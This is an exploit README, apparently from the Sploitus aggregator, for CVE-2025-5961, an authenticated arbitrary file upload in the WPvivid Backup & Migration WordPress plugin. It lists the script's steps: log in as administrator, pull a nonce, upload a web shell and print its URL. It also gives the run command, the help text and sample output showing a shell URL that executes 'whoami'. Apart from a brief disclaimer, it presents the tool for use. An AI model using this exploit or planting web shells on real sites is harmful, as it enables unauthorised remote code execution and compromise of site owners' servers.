## https://sploitus.com/exploit?id=DF8D871F-E0CF-5339-9389-454B6D30E52D
# ๐จ Migration, Backup, Staging โ WPvivid Backup & Migration <= 0.9.116 - Authenticated (Administrator+) Arbitrary File Upload
> ๐ *This vulnerability affects a plugin with over **700,000+ installs***
---
## ๐ CVE Details
- **CVE:** CVE-2025-5961
- **CVSS:** 7.2 (High)
- **Published:** July 3, 2025
---
## ๐ Description
The **Migration, Backup, Staging โ WPvivid Backup & Migration** plugin for WordPress is vulnerable to **arbitrary file uploads** due to missing file type validation in the `wpvivid_upload_import_files` function in all versions up to, and including, `0.9.116`.
This allows **authenticated attackers (Administrator-level and above)** to upload arbitrary files to the server, potentially enabling remote code execution.
---
## ๐งฐ Script
This repository contains an exploit script for **CVE-2025-5961**, written in Python, which:
- Checks plugin version.
- Logs in as Administrator.
- Extracts the required nonce from the plugin page.
- Uploads a web shell payload.
- Prints the URL to access the shell.
---
## ๐ฅ๏ธ Example Usage
```bash
python3 CVE-2025-5961.py -u http://target/wordpress -un admin -p password123
```
---
## โ๏ธ Usage
```text
$ python3 CVE-2025-5961.py -h
usage: CVE-2025-5961.py [-h] -u URL -un USERNAME -p PASSWORD
CVE-2025-5961 Exploit by Khaled Alenazi (Nxploited)
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress URL
-un, --username USERNAME
Admin username
-p, --password PASSWORD
```
---
## ๐ Output Example
```text
[+] Checking plugin version...
[+] Detected plugin version: 0.9.116
[+] Target is vulnerable. Continuing exploit.
[+] Logging in to http://target/wordpress...
[+] Logged in successfully.
[+] Fetching WPvivid page to extract nonce...
[+] Extracted nonce: 502d5dce0e
[+] Uploading shell...
[+] Exploit succeeded!
[+] Shell URL: http://target/wordpress/wp-content/wpvividbackups/ImportandExport/shellnxploited.php?cmd=whoami
Exploit By: Khaled Alenazi (Nxploited) - https://github.com/Nxploited/
```
---
## โ๏ธ Disclaimer
This script is provided for **educational and research purposes only**.
The author is not responsible for any misuse or damage caused by this tool.
---
## โ๏ธ By
**Khaled Alenazi (Nxploited)**
๐ [GitHub](https://github.com/Nxploited/)
---